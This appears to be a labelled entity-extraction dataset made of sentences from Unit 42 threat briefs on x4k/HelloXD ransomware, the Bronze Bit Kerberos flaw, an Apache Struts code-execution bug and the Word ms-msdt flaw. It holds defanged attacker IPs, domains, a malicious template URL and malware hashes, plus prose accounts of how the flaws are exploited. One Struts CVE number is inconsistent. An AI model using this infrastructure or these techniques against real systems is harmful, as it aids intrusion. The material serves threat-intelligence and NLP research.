-{"id":2091,"text":"This threat actor is well known on various hacking forums, and seems to be of Russian origin.","entities":[{"id":47221,"label":"location","start_offset":78,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":2092,"text":"Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.","entities":[{"id":47223,"label":"threat-actor","start_offset":39,"end_offset":42},{"id":47222,"label":"identity","start_offset":0,"end_offset":7},{"id":47224,"label":"TIME","start_offset":170,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":2093,"text":" Ransomware is a lucrative operation if done correctly.","entities":[],"relations":[],"Comments":[]}
-{"id":2094,"text":"Unit 42 has observed ransom demands and average payments going up in the latest Ransomware Threat Report.","entities":[{"id":47225,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":2095,"text":"Unit 42 believes that x4k, this threat actor, is now expanding into the ransomware business to capitalize on some of the gains other ransomware groups are making.","entities":[{"id":47226,"label":"identity","start_offset":0,"end_offset":7},{"id":47227,"label":"threat-actor","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":2096,"text":" Palo Alto Networks detects and prevents HelloXD and x4k activity in the following ways:  If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:","entities":[{"id":47231,"label":"identity","start_offset":181,"end_offset":211},{"id":47228,"label":"identity","start_offset":1,"end_offset":19},{"id":47229,"label":"malware","start_offset":41,"end_offset":48},{"id":47230,"label":"threat-actor","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":2097,"text":"Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":45261,"label":"identity","start_offset":115,"end_offset":136},{"id":45260,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":2098,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":47232,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":2099,"text":"Learn more about the Cyber Threat Alliance.","entities":[{"id":47233,"label":"identity","start_offset":21,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":2100,"text":" 435781ab608ff908123d9f4758132fa45d459956755d27027a52b8c9e61f9589 ebd310cb5f63b364c4ce3ca24db5d654132b87728babae4dc3fb675266148fe9 65ccbd63fbe96ea8830396c575926af476c06352bb88f9c22f90de7bb85366a3 903c04976fa6e6721c596354f383a4d4272c6730b29eee00b0ec599265963e74 7247f33113710e5d9bd036f4c7ac2d847b0bf2ac2769cd8246a10f09d0a41bab 4e9d4afc901fa1766e48327f3c9642c893831af310bc18ccf876d44ea4efbf1d 709b7e8edb6cc65189739921078b54f0646d38358f9a8993c343b97f3493a4d9  0e1aa5bb7cdccacfa8cbfe1aa71137b361bea04252fff52a9274b32d0e23e3aa 1fafe53644e1bb8fbc9d617dd52cd7d0782381a9392bf7bcab4db77edc20b58b 3477b704f6dceb414dad49bf8d950ef55205ffc50d2945b7f65fb2d5f47e4894 3eb1a41c86b3846d33515536c760e98f5cf0a741c682227065cbafea9d350806 4245990f42509474bbc912a02a1e5216c4eb87ea200801e1028291b74e45e43b 4de1279596cf5e0b2601f8b719b5240cb00b70c0d6aa0c11e2f32bc3ded020aa 4ea43678c3f84a66ce93cff50b11aabbe28c99c058e7043f275fea3456f55b88 5ae0d9e7ae61f3afb989aaf8e36eda1816ec44ceae666aea87a9fdc6fed35594 667b8abb731656c83f2f53815be68cce5d1ace3cb4ed242c9fecd4a66ac2f816 78ae3726d5b0815ad2e5a775ecf1a6cd36e1eeeee133b0766158a6b107ef7c34 7da83a27e4d788ca33b8b05d365fdf803cb68e0df4d69942ba9b7bde54619322 8a02f01cc3ac71b2c440148fd51b44e260a953e4fc1ee1c3fe787395b8c712ab 963cacd7eeebfb09950668bf1c6adf5452b992fc09119835cd256c5d3cf17f91 a57b1cfd3e801305856cdb75839de05f03439e264ccdbd1497685878a2605b5a bd111240c24a6a188f2664eb15195630b13aa6d9483fc8cfed339dddf803fd4e d8026801e1b78d9bdcb4954c194748d0fdc631594899b29a2746ae425b8bfc79 d8db562070b06d835721413a98f757b88d59277bf638467fda2ee254afc692a0 d97d666239cc973a38dc788bf017f5d8ae19257561888b61ecff8e086c4e3ea0 19d7e899777fbe432b2c90b992604599706b4109c3ceaa7946e8548f4c190a19 1dbf8ae62cc90c837ba12ceee08a1d989732a95bdcef5ca18151ef698ed98a03 22b32bb7c791842a6aa604d08208b13db07ccd1fe81f47ea8369537addb26c7b 26019b86686c1038326f075663d79803e4412bf9952eae65d7b9278be74ac55c 26cccc7e9155bd746e3bb963d40d6edfc001e6d936faf9392202e3788996105a 43fa55c88453db0de0c22f3eb0b11d1db9286f3ee423e82704fdce506d3af516 4564ca0c436fde9e76f5fa65cbcf483adf1fbfa3d7369b7bb67d2c95457f6bc5 585a22e822ade633cee349fd0a9e6a7d083de250fb56189d5a29d3fc5468680c 592b1e55ceef3b8a1ecb28721ebf2e8edd109b9b492cf3c0c0d30831c7432e00 611f3b0ed65dc98a0d7f5c57512212c6ab0a5de5d6bbf7131d3b7ebf360773c6 6b437208dfb4a7906635e16a5cbb8a1719dc49c51e73b7783202ab018181b616 6e8ececfdc74770885f9dc63b4b2316e8c4a011fd9e382c1ba7c4f09f256925d 99f97a47d8d60b8fa65b4ddaf5f43e4352765a91ab053ceb8a3162084df7d099 9e2524b2eaf5248eed6b2d20ae5144fb3bb543647cf612e5ca52135d16389f1a c15111a5f33b3c51a26f814b64c891791ff21104ee75a4773fef86dfc7a8e7ca cd9908f50c9dd97a2ce22ee57ba3e014e204369e5b75b88cefb270dc44a5ca50 ddc96ac931762065fc085be8138c38f2b6b52095a42b34bc415c9572de17386a e9b832fa02235b95a65ad716342d01ae87fcdb686b448e8462d6e86c1f4b3156 f055577220c7dc4be46510b9fed4ecfa78920025d1b2ac5853b5bf7ea136cf37 f7ae6b5ed444abfceda7217b9158895ed28cfdd946bf3e5c729570a5c29d5d82 b843d7498506ddc272e183bbe90cf73cc4779b37341108e002923aa938ca9169 77dec8fc40ff9332eb6d40ded23d606c88d9fa3785a820ea7b1ef0d12a5c4447 f52fb7ba5061ee4144439ff652c0b4f3cf941fe37fbd66e9d7672dd213fbcdb2 beee37fb9cf3e02121b2169399948c1b0830a626d4ed27a617813fa67dd91d58 b4c11c97d23ea830bd13ad4a05a87be5d8cc55ebdf1e1b458fd68bea71d80b54 f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c c619edb3fa8636c50b59a42d0bdc4c71cbd46a0586b683773e9a5e509f688176 50a479f16713d03b95103e0a95a3d575b7263bd16c334258eefa3ae8f46e3d1d 83b5c6d73f3fc893dbd7effa7c50dc9b2455ec053aa9c51d70e13305ecf21fa4 02894fa01c9b82dcfd93e35f49a0d5408f7f4f8a25f33ad17426bb00afa71f63 98ba86c1273b5e8d68ce90ac1745d16335c5e04ec76e8c58448ae6c91136fc4d 5fa5b5dddfe588791b59c945beba1f57a74bd58b53a09d38ac8a8679a0541f16  164[.]68[.]114[.]29  167[.]86[.]87[.]27 63[.]250[.]53[.]180 45[.]15[.]19[.]130 46[.]39[.]229[.]17 www.zxlab.iol4cky[.]men btc-trazer[.]xyz sandbox[.]x4k[.]me malware[.]x4k[.]me f[.]x4k[.]me 0[.]x4k[.]me pwn[.]x4k[.]me docker[.]x4k[.]me apk[.]x4k[.]me x4k[.]me powershell[.]services vmi378732[.]contaboserver[.]net x4k[.]in L4cky[.]men m[.]x4k[.]me mx2[.]l4cky[.]com mailhost[.]l4cky[.]com www1[.]l4cky[.]com authsmtp[.]l4cky[.]com ns[.]l4cky[.]com mailer[.]l4cky[.]com imap2[.]l4cky[.]com ns2[.]l4cky[.]com server[.]l4cky[.]com auth[.]l4cky[.]com remote[.]l4cky[.]com mx10[.]l4cky[.]com ms1[.]l4cky[.]com mx5[.]l4cky[.]com relay2[.]l4cky[.]com ns1[.]l4cky[.]com email[.]l4cky[.]com imap[.]l4cky[.]com mail[.]x4k[.]me repo[.]x4k[.]me bw[.]x4k[.]me collabora[.]x4k[.]me cloud[.]x4k[.]me yacht[.]x4k[.]me book[.]x4k[.]me teleport[.]x4k[.]me subspace[.]x4k[.]me windows[.]x4k[.]me sf[.]x4k[.]me dc-b00e12923fb6.l4cky[.]men box[.]l4cky[.]men mail[.]l4cky[.]men www[.]l4cky[.]men mta-sts[.]l4cky[.]men ldap[.]l4cky[.]men cloud[.]l4cky[.]men office[.]l4cky[.]men rexdooley[.]ml relay2[.]kuimvd[.]ru ns2[.]webmiting[.]ru https:\/\/фсб[.]com  2022 Unit 42 Ransomware Threat Report Highlights  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":45262,"label":"SHA2","start_offset":1,"end_offset":65},{"id":45264,"label":"SHA2","start_offset":131,"end_offset":195},{"id":45265,"label":"SHA2","start_offset":196,"end_offset":260},{"id":45267,"label":"SHA2","start_offset":326,"end_offset":390},{"id":45268,"label":"SHA2","start_offset":391,"end_offset":455},{"id":45271,"label":"SHA2","start_offset":587,"end_offset":651},{"id":45272,"label":"SHA2","start_offset":652,"end_offset":716},{"id":45278,"label":"SHA2","start_offset":1042,"end_offset":1106},{"id":45294,"label":"SHA2","start_offset":2082,"end_offset":2146},{"id":45325,"label":"IPV4","start_offset":3768,"end_offset":3786},{"id":45263,"label":"SHA2","start_offset":66,"end_offset":130},{"id":45284,"label":"SHA2","start_offset":1432,"end_offset":1496},{"id":45285,"label":"SHA2","start_offset":1497,"end_offset":1561},{"id":45286,"label":"SHA2","start_offset":1562,"end_offset":1626},{"id":45324,"label":"IPV4","start_offset":3748,"end_offset":3767},{"id":45280,"label":"SHA2","start_offset":1172,"end_offset":1236},{"id":45292,"label":"SHA2","start_offset":1952,"end_offset":2016},{"id":45293,"label":"SHA2","start_offset":2017,"end_offset":2081},{"id":45295,"label":"SHA2","start_offset":2147,"end_offset":2211},{"id":45299,"label":"SHA2","start_offset":2407,"end_offset":2471},{"id":45303,"label":"SHA2","start_offset":2602,"end_offset":2666},{"id":45266,"label":"SHA2","start_offset":261,"end_offset":325},{"id":45269,"label":"SHA2","start_offset":457,"end_offset":521},{"id":45270,"label":"SHA2","start_offset":522,"end_offset":586},{"id":45275,"label":"SHA2","start_offset":847,"end_offset":911},{"id":45276,"label":"SHA2","start_offset":912,"end_offset":976},{"id":45277,"label":"SHA2","start_offset":977,"end_offset":1041},{"id":45279,"label":"SHA2","start_offset":1107,"end_offset":1171},{"id":45281,"label":"SHA2","start_offset":1237,"end_offset":1301},{"id":45282,"label":"SHA2","start_offset":1302,"end_offset":1366},{"id":45283,"label":"SHA2","start_offset":1367,"end_offset":1431},{"id":45287,"label":"SHA2","start_offset":1627,"end_offset":1691},{"id":45289,"label":"SHA2","start_offset":1757,"end_offset":1821},{"id":45290,"label":"SHA2","start_offset":1822,"end_offset":1886},{"id":45291,"label":"SHA2","start_offset":1887,"end_offset":1951},{"id":45296,"label":"SHA2","start_offset":2212,"end_offset":2276},{"id":45297,"label":"SHA2","start_offset":2277,"end_offset":2341},{"id":45298,"label":"SHA2","start_offset":2342,"end_offset":2406},{"id":45301,"label":"SHA2","start_offset":2472,"end_offset":2536},{"id":45302,"label":"SHA2","start_offset":2537,"end_offset":2601},{"id":45304,"label":"SHA2","start_offset":2667,"end_offset":2731},{"id":45309,"label":"SHA2","start_offset":2927,"end_offset":2991},{"id":45311,"label":"SHA2","start_offset":3057,"end_offset":3121},{"id":45318,"label":"SHA2","start_offset":3512,"end_offset":3576},{"id":45319,"label":"SHA2","start_offset":3577,"end_offset":3641},{"id":45320,"label":"SHA2","start_offset":3642,"end_offset":3706},{"id":45321,"label":"IPV4","start_offset":3708,"end_offset":3727},{"id":45322,"label":"IPV4","start_offset":3729,"end_offset":3747},{"id":45326,"label":"IPV4","start_offset":3787,"end_offset":3805},{"id":45305,"label":"SHA2","start_offset":2732,"end_offset":2796},{"id":45306,"label":"SHA2","start_offset":2797,"end_offset":2861},{"id":45308,"label":"SHA2","start_offset":2862,"end_offset":2926},{"id":45310,"label":"SHA2","start_offset":2992,"end_offset":3056},{"id":45312,"label":"SHA2","start_offset":3122,"end_offset":3186},{"id":45313,"label":"SHA2","start_offset":3187,"end_offset":3251},{"id":45314,"label":"SHA2","start_offset":3252,"end_offset":3316},{"id":45315,"label":"SHA2","start_offset":3317,"end_offset":3381},{"id":45316,"label":"SHA2","start_offset":3382,"end_offset":3446},{"id":45317,"label":"SHA2","start_offset":3447,"end_offset":3511},{"id":45327,"label":"DOMAIN","start_offset":3806,"end_offset":3829},{"id":45328,"label":"DOMAIN","start_offset":3830,"end_offset":3846},{"id":45329,"label":"DOMAIN","start_offset":3847,"end_offset":3865},{"id":45331,"label":"DOMAIN","start_offset":3885,"end_offset":3897},{"id":45335,"label":"DOMAIN","start_offset":3944,"end_offset":3958},{"id":45343,"label":"DOMAIN","start_offset":4056,"end_offset":4073},{"id":45344,"label":"DOMAIN","start_offset":4074,"end_offset":4096},{"id":45345,"label":"DOMAIN","start_offset":4097,"end_offset":4115},{"id":45346,"label":"DOMAIN","start_offset":4116,"end_offset":4138},{"id":45347,"label":"DOMAIN","start_offset":4139,"end_offset":4155},{"id":45348,"label":"DOMAIN","start_offset":4156,"end_offset":4176},{"id":45349,"label":"DOMAIN","start_offset":4177,"end_offset":4196},{"id":45330,"label":"DOMAIN","start_offset":3866,"end_offset":3884},{"id":45332,"label":"DOMAIN","start_offset":3898,"end_offset":3910},{"id":45333,"label":"DOMAIN","start_offset":3911,"end_offset":3925},{"id":45334,"label":"DOMAIN","start_offset":3926,"end_offset":3943},{"id":45337,"label":"DOMAIN","start_offset":3959,"end_offset":3967},{"id":45340,"label":"DOMAIN","start_offset":3990,"end_offset":4030},{"id":45341,"label":"DOMAIN","start_offset":4031,"end_offset":4042},{"id":45342,"label":"DOMAIN","start_offset":4043,"end_offset":4055},{"id":45367,"label":"DOMAIN","start_offset":4476,"end_offset":4492},{"id":45338,"label":"DOMAIN","start_offset":3968,"end_offset":3989},{"id":45363,"label":"DOMAIN","start_offset":4409,"end_offset":4424},{"id":45365,"label":"DOMAIN","start_offset":4441,"end_offset":4454},{"id":45368,"label":"DOMAIN","start_offset":4493,"end_offset":4509},{"id":45369,"label":"DOMAIN","start_offset":4510,"end_offset":4525},{"id":45371,"label":"DOMAIN","start_offset":4526,"end_offset":4545},{"id":45380,"label":"DOMAIN","start_offset":4682,"end_offset":4703},{"id":45382,"label":"DOMAIN","start_offset":4723,"end_offset":4742},{"id":45383,"label":"DOMAIN","start_offset":4743,"end_offset":4763},{"id":45350,"label":"DOMAIN","start_offset":4197,"end_offset":4214},{"id":45351,"label":"DOMAIN","start_offset":4215,"end_offset":4235},{"id":45352,"label":"DOMAIN","start_offset":4236,"end_offset":4254},{"id":45353,"label":"DOMAIN","start_offset":4255,"end_offset":4275},{"id":45354,"label":"DOMAIN","start_offset":4276,"end_offset":4294},{"id":45355,"label":"DOMAIN","start_offset":4295,"end_offset":4312},{"id":45356,"label":"DOMAIN","start_offset":4313,"end_offset":4330},{"id":45357,"label":"DOMAIN","start_offset":4331,"end_offset":4351},{"id":45360,"label":"DOMAIN","start_offset":4370,"end_offset":4389},{"id":45361,"label":"DOMAIN","start_offset":4390,"end_offset":4408},{"id":45366,"label":"DOMAIN","start_offset":4455,"end_offset":4475},{"id":45372,"label":"DOMAIN","start_offset":4546,"end_offset":4565},{"id":45373,"label":"DOMAIN","start_offset":4566,"end_offset":4584},{"id":45375,"label":"DOMAIN","start_offset":4585,"end_offset":4598},{"id":45376,"label":"DOMAIN","start_offset":4599,"end_offset":4626},{"id":45377,"label":"DOMAIN","start_offset":4627,"end_offset":4644},{"id":45378,"label":"DOMAIN","start_offset":4645,"end_offset":4663},{"id":45379,"label":"DOMAIN","start_offset":4664,"end_offset":4681},{"id":45381,"label":"DOMAIN","start_offset":4704,"end_offset":4722},{"id":45384,"label":"DOMAIN","start_offset":4764,"end_offset":4778},{"id":45358,"label":"DOMAIN","start_offset":4352,"end_offset":4369},{"id":45364,"label":"DOMAIN","start_offset":4425,"end_offset":4440},{"id":45385,"label":"DOMAIN","start_offset":4779,"end_offset":4799},{"id":45386,"label":"DOMAIN","start_offset":4800,"end_offset":4820},{"id":45389,"label":"TIME","start_offset":4840,"end_offset":4844},{"id":6255,"label":"SHA2","start_offset":717,"end_offset":781},{"id":6256,"label":"SHA2","start_offset":782,"end_offset":846},{"id":6270,"label":"SHA2","start_offset":1692,"end_offset":1756},{"id":6306,"label":"URL","start_offset":4821,"end_offset":4838},{"id":6308,"label":"identity","start_offset":4845,"end_offset":4852}],"relations":[],"Comments":[]}
-{"id":2101,"text":"Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2102,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2103,"text":"This post is also available in:      日本語 (Japanese)  A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.","entities":[{"id":45392,"label":"identity","start_offset":175,"end_offset":184},{"id":45390,"label":"vulnerability","start_offset":117,"end_offset":131},{"id":45393,"label":"SOFTWARE","start_offset":83,"end_offset":91},{"id":45391,"label":"vulnerability","start_offset":140,"end_offset":150}],"relations":[{"id":95,"from_id":45391,"to_id":45390,"type":"duplicate-of"}],"Comments":[]}
-{"id":2104,"text":"The vulnerability is in the way that the Key Distribution Center (KDC) handles service tickets and validates whether delegation is allowed.","entities":[],"relations":[],"Comments":[]}
-{"id":2105,"text":" In the attack, as detailed in the Palo Alto Networks Security Operations blog, “Protecting Against the Bronze Bit Vulnerability with Cortex XDR,” the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the “Protected Users” group.","entities":[{"id":47238,"label":"vulnerability","start_offset":104,"end_offset":128},{"id":47239,"label":"SOFTWARE","start_offset":134,"end_offset":144},{"id":47240,"label":"SOFTWARE","start_offset":177,"end_offset":185},{"id":47237,"label":"identity","start_offset":35,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":2106,"text":" The vulnerability was patched by Microsoft, and the patch will be gradually deployed with upcoming Windows updates.","entities":[{"id":45394,"label":"identity","start_offset":34,"end_offset":43},{"id":45395,"label":"SOFTWARE","start_offset":100,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":2107,"text":"Microsoft aims to enforce using the patch only on or after May 11, 2021.","entities":[{"id":47242,"label":"identity","start_offset":0,"end_offset":9},{"id":47243,"label":"TIME","start_offset":59,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":2108,"text":" Palo Alto Network customers running Cortex XDR version 7.3 with the latest content update are protected from “Pass-the-Ticket” attacks using the standard Windows API.","entities":[{"id":47244,"label":"identity","start_offset":1,"end_offset":18},{"id":47245,"label":"SOFTWARE","start_offset":37,"end_offset":59},{"id":47246,"label":"attack-pattern","start_offset":110,"end_offset":135},{"id":47247,"label":"SOFTWARE","start_offset":155,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":2109,"text":"Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user.  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45397,"label":"identity","start_offset":169,"end_offset":187},{"id":45396,"label":"SOFTWARE","start_offset":18,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":2110,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us","entities":[],"relations":[],"Comments":[]}
-{"id":2111,"text":" Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2112,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2113,"text":"Situation Overview","entities":[],"relations":[],"Comments":[]}
-{"id":2114,"text":"On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.","entities":[{"id":47248,"label":"TIME","start_offset":3,"end_offset":18},{"id":47249,"label":"vulnerability","start_offset":82,"end_offset":95},{"id":47252,"label":"SOFTWARE","start_offset":145,"end_offset":199},{"id":47250,"label":"vulnerability","start_offset":99,"end_offset":134}],"relations":[{"id":311,"from_id":47252,"to_id":47249,"type":"has"},{"id":312,"from_id":47252,"to_id":47250,"type":"has"}],"Comments":[]}
-{"id":2115,"text":"The Apache Foundation has urged everyone to apply the security updates as soon as possible.","entities":[{"id":45398,"label":"identity","start_offset":4,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2116,"text":"This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates.","entities":[{"id":47254,"label":"identity","start_offset":111,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":2117,"text":"Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.","entities":[{"id":47255,"label":"identity","start_offset":0,"end_offset":18},{"id":47256,"label":"TIME","start_offset":95,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":2118,"text":" Vulnerability Information","entities":[],"relations":[],"Comments":[]}
-{"id":2119,"text":"According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts.","entities":[{"id":47257,"label":"identity","start_offset":22,"end_offset":39},{"id":47258,"label":"identity","start_offset":64,"end_offset":74},{"id":47259,"label":"attack-pattern","start_offset":106,"end_offset":127},{"id":47260,"label":"SOFTWARE","start_offset":172,"end_offset":185}],"relations":[],"Comments":[]}
-{"id":2120,"text":"The method of attack would be through a specially crafted URL sent to the vulnerable system.","entities":[],"relations":[],"Comments":[]}
-{"id":2121,"text":"In most cases, this means no authentication is required to exploit the vulnerability.","entities":[],"relations":[],"Comments":[]}
-{"id":2122,"text":"A successful attack would run code in the security context that Struts is using.","entities":[{"id":47261,"label":"SOFTWARE","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":2123,"text":"In some cases, this could effectively lead to a total compromise of the system.","entities":[],"relations":[],"Comments":[]}
-{"id":2124,"text":"It’s important to note, however, that the vulnerability is not exploitable in default configurations.","entities":[],"relations":[],"Comments":[]}
-{"id":2125,"text":"The following two conditions must both be met for a system to be vulnerable to attack:  If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.","entities":[{"id":47262,"label":"vulnerability","start_offset":232,"end_offset":246},{"id":47263,"label":"SOFTWARE","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":2126,"text":"In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.","entities":[{"id":47265,"label":"SOFTWARE","start_offset":52,"end_offset":58},{"id":47266,"label":"SOFTWARE","start_offset":157,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":2127,"text":" Threat Environment Information","entities":[],"relations":[],"Comments":[]}
-{"id":2128,"text":"The vulnerability was disclosed on August 22 in conjunction with security updates that address it.","entities":[{"id":47267,"label":"TIME","start_offset":35,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":2129,"text":"There is detailed information about the vulnerability and how to exploit it available currently.","entities":[],"relations":[],"Comments":[]}
-{"id":2130,"text":"There is also proof of concept (PoC) code available already.","entities":[],"relations":[],"Comments":[]}
-{"id":2131,"text":"As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.","entities":[],"relations":[],"Comments":[]}
-{"id":2132,"text":"Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.","entities":[{"id":47268,"label":"SOFTWARE","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":2133,"text":"There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.","entities":[],"relations":[],"Comments":[]}
-{"id":2134,"text":"However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.","entities":[],"relations":[],"Comments":[]}
-{"id":2135,"text":"Organizations should focus their risk assessments for possible attack until they can patch on four things:  Guidance and Protections for Palo Alto Networks Customers","entities":[{"id":47269,"label":"identity","start_offset":137,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":2136,"text":"All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.","entities":[{"id":45399,"label":"SOFTWARE","start_offset":49,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2137,"text":"Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.","entities":[],"relations":[],"Comments":[]}
-{"id":2138,"text":"Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.","entities":[{"id":47271,"label":"TIME","start_offset":116,"end_offset":131},{"id":47270,"label":"identity","start_offset":0,"end_offset":18},{"id":47272,"label":"SOFTWARE","start_offset":162,"end_offset":177},{"id":47273,"label":"vulnerability","start_offset":178,"end_offset":213}],"relations":[],"Comments":[]}
-{"id":2139,"text":"Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection.","entities":[],"relations":[],"Comments":[]}
-{"id":2140,"text":"With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.","entities":[],"relations":[],"Comments":[]}
-{"id":2141,"text":"As always, we are monitoring the situation closely and will provide additional details as they become available.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2142,"text":"This post is also available in:      日本語 (Japanese)  ","entities":[],"relations":[],"Comments":[]}
-{"id":2143,"text":"On May 27, 2022, details began to emerge of malicious Word documents leveraging remote templates to execute PowerShell via the ms-msdt Office URL protocol.","entities":[{"id":47274,"label":"tools","start_offset":108,"end_offset":118},{"id":47275,"label":"TIME","start_offset":3,"end_offset":15},{"id":47276,"label":"SOFTWARE","start_offset":54,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":2144,"text":"The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.","entities":[{"id":47277,"label":"SOFTWARE","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":2145,"text":"Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.","entities":[{"id":45400,"label":"vulnerability","start_offset":62,"end_offset":76},{"id":45401,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":2146,"text":" Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft.  The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants.","entities":[{"id":47278,"label":"identity","start_offset":114,"end_offset":132},{"id":47279,"label":"identity","start_offset":328,"end_offset":337},{"id":47280,"label":"attack-pattern","start_offset":366,"end_offset":387}],"relations":[],"Comments":[]}
-{"id":2147,"text":"Therefore, exploits for this vulnerability have potential to be of high impact.","entities":[],"relations":[],"Comments":[]}
-{"id":2148,"text":" We highly recommend following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.","entities":[{"id":45402,"label":"identity","start_offset":31,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":2149,"text":"All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections.  Attack Details for CVE-2022-30190 CVE-2022-30190 in the Wild Conclusion  On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus.","entities":[{"id":47283,"label":"TIME","start_offset":228,"end_offset":240},{"id":47288,"label":"SOFTWARE","start_offset":324,"end_offset":328},{"id":47281,"label":"vulnerability","start_offset":171,"end_offset":185},{"id":47282,"label":"vulnerability","start_offset":186,"end_offset":200},{"id":47284,"label":"identity","start_offset":80,"end_offset":98},{"id":47285,"label":"location","start_offset":279,"end_offset":291},{"id":47286,"label":"SOFTWARE","start_offset":350,"end_offset":360},{"id":47287,"label":"location","start_offset":375,"end_offset":382}],"relations":[],"Comments":[]}
-{"id":2150,"text":"The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.","entities":[{"id":47290,"label":"SOFTWARE","start_offset":199,"end_offset":203},{"id":47289,"label":"tools","start_offset":166,"end_offset":176},{"id":47291,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2151,"text":" On May 30, Keven Beaumont wrote an article detailing the specifics of the initial incident.","entities":[{"id":45404,"label":"identity","start_offset":12,"end_offset":26},{"id":45403,"label":"TIME","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2152,"text":"The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp:\/\/xmlformats[.]com, allowing it to bypass EDR solutions.","entities":[{"id":47292,"label":"SOFTWARE","start_offset":51,"end_offset":55},{"id":47293,"label":"URL","start_offset":144,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":2153,"text":"The HTML code from the remote template is shown in Figure 1 below.","entities":[],"relations":[],"Comments":[]}
